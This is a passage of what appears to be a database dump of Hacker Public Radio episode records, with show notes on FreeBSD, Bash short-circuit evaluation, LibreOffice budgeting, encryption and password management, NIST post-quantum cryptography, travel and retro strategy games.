href=\"https://nomadbsd.org\">NomadBSD - Live GUI FreeBSD with OpenBoX</a></p>\n<hr />\n<h4>Additional Links</h4>\n<p> Linux to FreeBSD quick start: <br />\n<a href=\"https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/\" target=\"_blank\">https://klarasystems.com/articles/easily-migrate-from-linux-to-freebsd/</a><br />\n<br />\nSupported hardware: <br />\n<a href=\"https://wiki.freebsd.org/Laptops\" target=\"_blank\">https://wiki.freebsd.org/Laptops</a><br />\n<a href=\"https://bsd-hardware.info/\" target=\"_blank\">https://bsd-hardware.info/</a><br />\n<a href=\"https://dmesgd.nycbug.org/index.cgi\" target=\"_blank\">https://dmesgd.nycbug.org/index.cgi</a></p>\n\n<p><small><small>Editor\'s Note: This section was included from the comment sent by <a href=\"correspondents.php?hostid=406\">binrc</a>.</small></small></p>\n',406,0,1,'CC-BY-SA','FreeBSD',0,0,1),
(3704,'2022-10-13','Follow up to hpr3685 :: Budget and an Android app',104,'I add a calendar to the budget spreadsheet in LibreOffice','<h4 id=\"follow-up-on-hpr3685-budget-and-an-android-app\">Follow up on hpr3685 :: Budget and an Android app</h4>\n<p>I added a calendar from OpenOffice.org</p>\n<p><a href=\"https://templates.openoffice.org/en/template/any-year-calendar-holidays\" title=\"Open Office calendar template for any year\">OpenOffice.org Template</a></p>\n<p><img src=\"eps/hpr3704/Copy_sheet_1.png\" title=\"Copying a sheet, image 1\" alt=\"Copying a sheet, screenshot 1\" /></p>\n<p><img src=\"eps/hpr3704/Copy_sheet_2.png\" title=\"Copying a sheet, image 2\" alt=\"Copying a sheet screenshot 2\" /></p>\n<p><a href=\"eps/hpr3704/Design_mode_sm.png\" title=\"Switching to Design Mode\"><img src=\"eps/hpr3704/Design_mode_sm_thumbnail.png\" title=\"Switching to Design Mode\" alt=\"Switching to Design Mode\" /></a></p>\n<p><img src=\"eps/hpr3704/Form_control_sm.png\" title=\"Form Control example\" alt=\"Form Control example\" /></p>\n<p><a href=\"eps/hpr3704/Budget_Sample_Any_Year_2022-9-26_05.33.15.ods\" title=\"Budget sample with a calendar in LibreOffice\">Budget sample with a calendar in LibreOffice (Download link)</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, OpenOffice',0,0,1),
(3708,'2022-10-19','Insomnia as a Hobby',466,'Fighting insomnia? Enjoy it...with a few tricks!','<p>I struggle with insomnia, instead of dreading it - I rather enjoy it now...here\'s how!</p>\n',389,0,0,'CC-BY-SA','insomnia,podcasts,librivox',0,0,1),
(3713,'2022-10-26','Bash snippet - short-circuit evaluation in Bash Boolean expressions',1000,'Found I could do this in Bash, so wanted to share!','<article>\n<h2 id=\"preamble\">Preamble</h2>\n<p>This is a case where I came upon a thing in Bash I had never considered before and was pleased and surprised that there was a way of doing what I wanted to do! If this is completely obvious to you, apologies, but it wasn’t to me!</p>\n<h2 id=\"overview\">Overview</h2>\n<p>Many programming languages have the concept of <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">short-circuit evaluation</a> in Boolean expressions. What this means is that in an expression such as:</p>\n<pre><code>A AND B</code></pre>\n<p>if <code>A</code> is <strong>false</strong> then the whole expression must be <strong>false</strong>, and <code>B</code> doesn’t have to be evaluated. That is because both arguments to <code>AND</code> have to be <strong>true</strong> for the overall result to be <strong>true</strong>.</p>\n<p>If <code>A</code> is <strong>true</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>true</strong>.</p>\n<p>Similarly with:</p>\n<pre><code>A OR B</code></pre>\n<p>if <code>A</code> is <strong>true</strong> then the whole expression must be <strong>true</strong> and <code>B</code> can be skipped without evaluation. This is because only one argument to <code>OR</code> needs to be <strong>true</strong> to return a <strong>true</strong> result.</p>\n<p>If <code>A</code> is <strong>false</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>false</strong>.</p>\n<p>Both of these expressions are evaluated from left to right. This is not a given in all languages. Some use special operators such as <code>\'and_then\'</code> and <code>\'or_else\'</code> which explicitly perform short-circuiting and left-to-right evaluation.</p>\n<h3 id=\"definition\">Definition</h3>\n<p>In simple terms, short-circuiting is where the evaluation of an expression is stopped as soon as its outcome is determined.</p>\n<p>The Wikipedia article <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Short-circuit evaluation</a> defines it as:</p>\n<blockquote>\n<p>Short-circuit evaluation, minimal evaluation, or McCarthy evaluation (after John McCarthy) is the semantics of some Boolean operators in some programming languages in which the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression: when the first argument of the AND function evaluates to false, the overall value must be false; and when the first argument of the OR function evaluates to true, the overall value must be true.</p>\n</blockquote>\n<p>This article contains a table entitled <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\"><em>Boolean operators in various languages</em></a> which shows details of how various programming and scripting languages cater for this feature.</p>\n<h2 id=\"use-case\">Use case</h2>\n<p>I was writing a Bash script in which I wanted to ask questions about various steps - should they be done or not? Alternatively, I wanted to be able to set an option to run without interaction and assume the answer is <code>\'yes\'</code> to all questions.</p>\n<p>I’d encountered <em>short-circuit evaluation</em> before in Pascal and Perl so I wondered if I could use it in Bash.</p>\n<p>The expression I was trying to write was:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<ul>\n<li>Variable <code>YES</code> is being set through an option <code>\'-Y\'</code>; it’s normally set to zero but is set to 1 if the option is used.</li>\n<li><code>yes_no</code> is a function I wrote, and talked about in <a href=\"https://hackerpublicradio.org/eps.php?id=2096\">HPR episode 2096: “Useful Bash functions - part 2”</a>.</li>\n</ul>\n<p>The requirement was that if <code>YES</code> was set to 1 I didn’t want the function to be called at all.</p>\n<p>I was a little surprised, and very happy, to find that this is what happens.</p>\n<p>Here is the full example from the script that started me thinking about this issue - and therefore caused me to make this show:</p>\n<pre><code>#\n# We need a show directory. If it doesn&#39;t exist then we&#39;ll create it because\n# other scripts will use it.\n#\nif [[ ! -d $SHOWDIR ]]; then\n    echo &quot;${red}There is no directory for show $show${reset}&quot;\n\n    #\n    # If the -Y option was not chosen ask with &#39;yes_no&#39;. It -Y was chosen\n    # we&#39;re to go ahead regardless. This relies on the fact that Bash\n    # &quot;short-circuits&quot; logical expressions like this.\n    #\n    if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n        mkdir &quot;$SHOWDIR&quot;\n        _silent &quot;${green}Directory created for show $show${reset}&quot;\n    else\n        _silent &quot;${yellow}Not changed${reset}&quot;\n    fi\nfi</code></pre>\n<p><strong>Notes</strong>:</p>\n<ul>\n<li>I have a Bash function that defines colours which is included into this script. That’s why you see <code>\'echo \"${red}...${reset}\"\'</code> in the above. I also have a function to turn off colour by setting the relevant variables to empty strings.</li>\n<li>The <code>\'yes_no\'</code> function takes a prompt string with an (optional) <code>\'%s\'</code> placeholder for the expected inputs and default. This is followed by the default: <code>\'N\'</code>.</li>\n<li>The function <code>\'_silent\'</code> writes the message given as its argument, depending on the setting of a <code>\'SILENT\'</code> variable set earlier.</li>\n</ul>\n<h2 id=\"should-it-be-used\">Should it be used?</h2>\n<h3 id=\"case-1\">Case 1</h3>\n<p>Bash uses short-circuiting in other contexts. This was discussed in the <em>Bash Tips</em> series, <a href=\"https://hackerpublicradio.org/eps.php?id=2649\">episode 10</a> with the example:</p>\n<pre><code>[ -e /some/file ] || exit 1</code></pre>\n<p>Here the test is performed using <code>\'-e\'</code> to determine if <code>\'/some/file\'</code> exists. The result is either <strong>true</strong> or <strong>false</strong>. If the test returns <strong>true</strong> then the overall result of the <em>or</em> is <strong>true</strong> and the evaluation is short-circuited so that the <code>\'exit 1\'</code> is not invoked. If the test is <strong>false</strong> then the second expression has to be evaluated to determine the overall result, so the <code>\'exit 1\'</code> is invoked and the script exits.</p>\n<p>Incidentally, the <code>\'[ -e file ]\'</code> construct is actually an instance of the <code>test</code> command so could be written:</p>\n<pre><code>test -e /some/file || exit 1</code></pre>\n<p>You might be familiar with command pipelines which use this technique, such as:</p>\n<pre><code>sudo apt update &amp;&amp; sudo apt upgrade</code></pre>\n<p>If the <code>\'apt update\'</code> is successful the <code>\'apt upgrade\'</code> is run. If it fails then the second command is not run.</p>\n<h3 id=\"case-2\">Case 2</h3>\n<p>We have seen the example that prompted me to make this show:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<p>This could have been written as:</p>\n<pre><code>if [[ $YES -eq 1 ]]; then\n    # Create directory\nelif yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<p>I prefer the first way, but it could be argued in a development environment that co-workers might find it confusing.</p>\n<h3 id=\"conclusion\">Conclusion</h3>\n<p>So, my conclusion is that short-circuiting is a desirable feature that I will continue to use.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Wikipedia:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Wikipedia article on short-circuit evaluation</a>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\">Table entitled <em>Boolean operators in various languages</em></a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Conditional_(programming)\">Wikipedia article on conditional constructs in programming</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Truth-value\">Wikipedia article on Truth values in logic, mathematics and programming</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR shows:\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2096\"><em>Useful Bash functions - part 2</em></a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\"><em>More ancillary Bash tips - 10</em></a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash,Boolean expression,short-circuit evaluation',0,0,1),
(3703,'2022-10-12','McCurdy House Tour',767,'operat0r brings us on a House Tour','<p>CL4P-TP Claptrap Borderlands Lego Bricklink<br />\n<a href=\"https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.pdf\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.pdf</a><br />\n<a href=\"https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml</a></p>\n<p>Lightsabers (get mystery box or whatever boneyard etc because much cheaper if you really just want programable full pixel blade)<br />\n<a href=\"https://www.crimsondawn.com/products/mystery-box?variant=33206141681741\" class=\"uri\">https://www.crimsondawn.com/products/mystery-box?variant=33206141681741</a></p>\n<p>I paid $268USD for Neopixel Proffie ( I think it\'s all xenopixel stuff nowadays ): <a href=\"https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF\" class=\"uri\">https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF</a></p>\n<p>RGB\'s from LGT Store (60-70$)<br />\n<a href=\"https://www.aliexpress.com/store/1101560967\" class=\"uri\">https://www.aliexpress.com/store/1101560967</a></p>\n',36,0,1,'CC-BY-SA','ASMR',0,0,1),
(3707,'2022-10-18','Recovering a Massive 3.5 HP Electric Motor from a Treadmill',1006,'Retrieval of future robot parts in the field','<p><em>Figure 1 - trash</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig1trash.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig1trash_thumbnail.jpg\" alt=\"Figure 1 - trash\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2 - close-up</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig2close.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig2close_thumbnail.jpg\" alt=\"Figure 2 - close-up\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3 - screen</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig3screen.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig3screen_thumbnail.jpg\" alt=\"Figure 3 - screen\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3 - parts collected</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig4gets.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig4gets_thumbnail.jpg\" alt=\"Figure 3 - parts collected\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 5 - scrap iron</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig5iron.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig5iron_thumbnail.jpg\" alt=\"Figure 5 - scrap iron\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 6 - size comparison</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/fig6compare.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/fig6compare_thumbnail.jpg\" alt=\"Figure 6 - size comparison\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',401,0,1,'CC-BY-SA','beam,righttorepair,robots,mechatronics',0,0,1),
(3709,'2022-10-20','Relationships to games and console generations',568,'Some ramblings about what next generation consoles used to mean to games, gamers and game developers','<p>I talk about my views on how much of an impact technological jumps\nused to make on gaming in previous decades vs this decade.</p>\n',412,0,0,'CC-BY-SA','Video Games, Game Consoles',0,0,1),
(3715,'2022-10-28','Secret hat conversations, Part 2.',3899,'Twin Tin Hats, feat. archer72.','<ul>\n<li><p><strong>Quantum computing</strong></p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Quantum_computing\">Quantum\ncomputing</a> is a type of computation whose operations can harness the\nphenomena of quantum mechanics, such as superposition, interference, and\nentanglement. Devices that perform quantum computations are known as\nquantum computers. Though current quantum computers are too small to\noutperform usual (classical) computers for practical applications,\nlarger realizations are believed to be capable of solving certain\ncomputational problems, such as integer factorization (which underlies\nRSA encryption), substantially faster than classical computers.</li>\n<li>Today&#x2019;s <a\nhref=\"https://www.intel.com/content/www/us/en/research/quantum-computing.html\">quantum\nsystems</a> only include tens or hundreds of entangled qubits, limiting\nthem from solving real-world problems. To achieve quantum practicality,\ncommercial quantum systems need to scale to over a million qubits and\novercome daunting challenges like qubit fragility and software\nprogrammability.</li>\n<li><a\nhref=\"https://www.cnet.com/tech/computing/quantum-computers-could-crack-todays-encrypted-messages-thats-a-problem/\">Quantum\ncomputers</a>, if they mature enough, will be able to crack much of\ntoday\'s encryption. That\'ll lay bare private communications, company\ndata and military secrets. Today\'s quantum computers are too rudimentary\nto do so. But data surreptitiously gathered now could still be sensitive\nwhen more powerful quantum computers come online in a few years.</li>\n<li><a\nhref=\"https://www.intego.com/mac-security-blog/how-quantum-computing-will-affect-computer-security-and-passwords/\">Simple\npasswords</a> can be cracked using brute force; this is where an\nattacker uses tools that try every possible password until the correct\none is found. This generally done using a dictionary attack, where an\nattacker will try known passwords and words until they find the one that\nunlocks an account. There are databases available on the internet that\ncontain personal names as well as dictionary and slang words, in scores\nof languages, along with passwords found in data breaches, and\nmore.</li>\n</ul></li>\n<li><p><strong>Encryption.</strong></p>\n<ul>\n<li>The <a\nhref=\"https://www.nist.gov/publications/advanced-encryption-standard-aes\">Advanced\nEncryption Standard</a> (AES) specifies a FIPS-approved cryptographic\nalgorithm that can be used to protect electronic data. The AES algorithm\nis a symmetric block cipher that can encrypt (encipher) and decrypt\n(decipher) information. Encryption converts data to an unintelligible\nform called ciphertext; decrypting the ciphertext converts the data back\ninto its original form, called plaintext. The AES algorithm is capable\nof using cryptographic keys of 128, 192, and 256 bits to encrypt and\ndecrypt data in blocks of 128 bits.</li>\n<li>The National Security Agency (NSA) reviewed all the <a\nhref=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a>\nfinalists, including Rijndael, and stated that all of them were secure\nenough for U.S. Government non-classified data. In June 2003, the U.S.\nGovernment announced that AES could be used to protect classified\ninformation: For cryptographers, a cryptographic \"break\" is anything\nfaster than a brute-force attack &#x2013; i.e., performing one trial decryption\nfor each possible key in sequence. A break can thus include results that\nare infeasible with current technology. Despite being impractical,\ntheoretical breaks can sometimes provide insight into vulnerability\npatterns. The largest successful publicly known brute-force attack\nagainst a widely implemented block-cipher encryption algorithm was\nagainst a 64-bit RC5 key by distributed.net in 2006.</li>\n</ul></li>\n<li><p><strong>Password Management.</strong></p>\n<ul>\n<li><a href=\"https://bitwarden.com/\">Bitwarden</a></li>\n<li><a href=\"https://keepassxc.org/\">KeepassXC</a></li>\n<li><a\nhref=\"https://www.mass.gov/guides/password-best-practices-and-recommendations\">Tips\nfor creating a strong password</a>\n<ul>\n<li>Enable Two-Factor authentication whenever possible. While a great\npassphrase will help secure you and the Commonwealth&#x2019;s data, a second\nfactor makes it that much more difficult for hackers to gain\naccess.</li>\n</ul></li>\n</ul></li>\n<li><p><strong>Password Generation.</strong></p>\n<ul>\n<li>pwgen : found in most linux repos</li>\n<li><a href=\"https://linux.die.net/man/1/pwgen\"\ntitle=\"Man page for pwgen\npassword generator\">Man page for pwgen</a></li>\n<li>Example : pwgen -y 50 3 : generates a 50 character password with\nsymbols, with 3 choices</li>\n</ul></li>\n<li><p><strong>Google and Amazon are listening</strong></p>\n<ul>\n<li><a\nhref=\"https://www.cnet.com/home/smart-home/amazon-and-google-are-listening-to-your-voice-recordings-heres-what-we-know\"\ntitle=\"CNET article on Google and Amazon\">CNET article on Google and\nAmazon</a></li>\n</ul></li>\n</ul>\n<pre><code>    &quot;I don&#39;t blame anyone who doesn&#39;t want to fill their house with cameras and\n    microphones, but I also don&#39;t blame anyone who&#39;s willing to trade some of their\n    data with a company they feel comfortable with in order to bring some new\n    convenience and utility into their lives. It&#39;s nearly impossible to navigate\n    today&#39;s age without making trades like that on a daily basis.&quot;</code></pre>\n<hr />\n<p>What is <a\nhref=\"https://www.geeksforgeeks.org/what-is-web-scraping-and-how-to-use-it/\">Web\nScraping</a>? Web scraping is an automatic method to obtain large\namounts of data from websites.</p>\n<p>What is <a\nhref=\"https://www.geeksforgeeks.org/what-is-machine-learning/\">Machine\nLearning</a>? Machine Learning, as the name says, is all about machines\nlearning automatically without being explicitly programmed or learning\nwithout any direct human intervention. This machine learning process\nstarts with feeding them good quality data and then training the\nmachines by building various machine learning models using the data and\ndifferent algorithms.</p>\n<hr />\n<ol type=\"1\">\n<li>The <a\nhref=\"https://www.jacksonvilledivorcelawyerblog.com/divorce_records_used_in_politi/\">October\nSuprise</a>.</li>\n<li>The <a\nhref=\"https://www.hrw.org/news/2018/01/09/interview-when-us-government-hides-evidence\">fruit\nof the poisonous tree</a>.</li>\n<li>This Is the Data Facebook Gave Police to <a\nhref=\"https://www.vice.com/en/article/n7zevd/this-is-the-data-facebook-gave-police-to-prosecute-a-teenager-for-abortion\">Prosecute\na Teenager for Abortion</a>.</li>\n<li>Google is <a\nhref=\"https://www.cnet.com/news/privacy/google-is-giving-data-to-police-based-on-search-keywords-court-docs-show/\">giving\ndata to police</a> based on search keywords, court docs show.</li>\n<li>Google bans dad for &#x2018;child porn&#x2019; after <a\nhref=\"https://nypost.com/2022/08/22/google-bans-dad-for-sending-pics-of-toddlers-swollen-genitals-to-doctor/\">he\nsent pics of toddler&#x2019;s swollen genitals to doctor</a>.</li>\n<li>Proton VPN <a\nhref=\"https://protonvpn.com/blog/transparency-report/\">Transparency\nReport &amp; Warrant Canary</a>.</li>\n</ol>\n',391,0,1,'CC-BY-SA','Tin hat, Quantum computing, Encryption, Conspiracy',0,0,1),
(3981,'2023-11-06','HPR Community News for October 2023',0,'HPR Volunteers talk about shows released and comments posted in October 2023','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3800,'2023-02-24','NIST Quantum Cryptography Update 20221008',928,'An update on the preparations for quantum computing','<p>The process NIST initiated in 2016 continues as it looks for\nencryption algorithms that will be secure against the anticipated\narrival of practical quantum computing. In this update I report on the\nfirst 4 Candidates to be Standardized, and the timeline for completion.\nIt is coming faster than you may have realized.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://miracl.com/blog/backdoors-in-nist-elliptic-curves/\"\nclass=\"uri\">https://miracl.com/blog/backdoors-in-nist-elliptic-curves/</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Qubit\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Qubit</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Transport_Layer_Security</a></li>\n<li><a href=\"https://csrc.nist.gov/Projects/post-quantum-cryptography\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/</a></li>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=2860\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=2860</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/</a></li>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=3147\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=3147</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/News/2016/Post-Quantum-Cryptography-Proposed-Requirements\"\nclass=\"uri\">https://csrc.nist.gov/News/2016/Post-Quantum-Cryptography-Proposed-Requirements</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/Projects/post-quantum-cryptography/selected-algorithms-2022\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography/selected-algorithms-2022</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/Projects/post-quantum-cryptography/round-4-submissions\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography/round-4-submissions</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/projects/pqc-dig-sig/standardization/call-for-proposals\"\nclass=\"uri\">https://csrc.nist.gov/projects/pqc-dig-sig/standardization/call-for-proposals</a></li>\n<li><a\nhref=\"https://www.nist.gov/blogs/taking-measure/post-quantum-cryptography-qa-nists-matt-scholl\"\nclass=\"uri\">https://www.nist.gov/blogs/taking-measure/post-quantum-cryptography-qa-nists-matt-scholl</a></li>\n<li><a\nhref=\"https://thehackernews.com/2022/07/nist-announces-first-four-quantum.html\"\nclass=\"uri\">https://thehackernews.com/2022/07/nist-announces-first-four-quantum.html</a></li>\n<li><a href=\"https://csrc.nist.gov/Projects/post-quantum-cryptography\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/nist-quantum-cryptography-update-20221008/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/nist-quantum-cryptography-update-20221008/</a></li>\n</ul>\n',198,74,0,'CC-BY-SA','NIST, Encryption, quantum computing',0,0,1),
(3810,'2023-03-10','Clifton, Arizona',963,'We move to another Arizona town, Clifton.','<p>We have left the Tucson area and moved up into the mountains to\nClifton, Arizona, a mining town. Arizona is a major source of Copper for\nthe U.S., and Clifton has one of the larger open pit mines in the world,\nand the largest in the U.S.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKQCb\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKQCb</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKSz8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKSz8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKTKL\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKTKL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKUba\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKUba</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKSqt\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKSqt</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKUkN\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKUkN</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKU3S\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKU3S</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKXtk\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKXtk</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKXk8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKXk8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYXo\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYXo</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZr5\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZr5</a></li>\n<li><a href=\"https://www.palain.com/travel/clifton-arizona/\"\nclass=\"uri\">https://www.palain.com/travel/clifton-arizona/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona, Clifton',0,0,1),
(3820,'2023-03-24','Introduction to Gaming',991,'How I first got started with Computer Strategy Games','<p>This starts out the series on Computer Strategy Games, and we begin\nwith the game that got me hooked, the first Civilization game created by\nSid Meier and published by Microprose. Though it is pretty old now, it\nis still fond in my heart, and in the hearts of so many other gamers. If\nthis comes across as a love letter, so be it. We will also in this\nseries look at where you can obtain old games, and where you can find\nmore information about the games I cover.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Civilization_(series)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Civilization_(series)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/4X\"\nclass=\"uri\">https://en.wikipedia.org/wiki/4X</a></li>\n<li><a\nhref=\"http://flashofsteel.com/index.php/2006/09/18/gamers-bookshelf-civilization-or-rome-on-640k-a-day/\"\nclass=\"uri\">http://flashofsteel.com/index.php/2006/09/18/gamers-bookshelf-civilization-or-rome-on-640k-a-day/</a></li>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Civilization-Chronicles-PC/dp/B000IU1PQA\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Civilization-Chronicles-PC/dp/B000IU1PQA</a></li>\n<li><a href=\"https://playclassic.games/\"\nclass=\"uri\">https://playclassic.games/</a></li>\n<li><a href=\"https://www.myabandonware.com/\"\nclass=\"uri\">https://www.myabandonware.com/</a></li>\n<li><a\nhref=\"https://www.myabandonware.com/game/sid-meier-s-civilization-1nj\"\nclass=\"uri\">https://www.myabandonware.com/game/sid-meier-s-civilization-1nj</a></li>\n<li><a href=\"https://www.civfanatics.com/civ1/manual/civ1_man.htm\"\nclass=\"uri\">https://www.civfanatics.com/civ1/manual/civ1_man.htm</a></li>\n<li><a href=\"https://www.civfanatics.com/civ1/cia/\"\nclass=\"uri\">https://www.civfanatics.com/civ1/cia/</a></li>\n<li><a\nhref=\"https://forums.civfanatics.com/media/categories/civilization-gallery.16/\"\nclass=\"uri\">https://forums.civfanatics.com/media/categories/civilization-gallery.16/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=CkmHeepmjEc\"\nclass=\"uri\">https://www.youtube.com/watch?v=CkmHeepmjEc</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=VF8Ribe5AFU\"\nclass=\"uri\">https://www.youtube.com/watch?v=VF8Ribe5AFU</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=L7GkX4h-TP8\"\nclass=\"uri\">https://www.youtube.com/watch?v=L7GkX4h-TP8</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=3UuXa3PRSGo\"\nclass=\"uri\">https://www.youtube.com/watch?v=3UuXa3PRSGo</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Q1d08T8_wI4\"\nclass=\"uri\">https://www.youtube.com/watch?v=Q1d08T8_wI4</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=AJ-auWfJTts\"\nclass=\"uri\">https://www.youtube.com/watch?v=AJ-auWfJTts</a></li>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games/dp/B08MNG8VX8/\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games/dp/B08MNG8VX8/</a></li>\n<li><a href=\"https://www.palain.com/gaming/sid-meiers-civilization/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-civilization/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization',0,0,1),
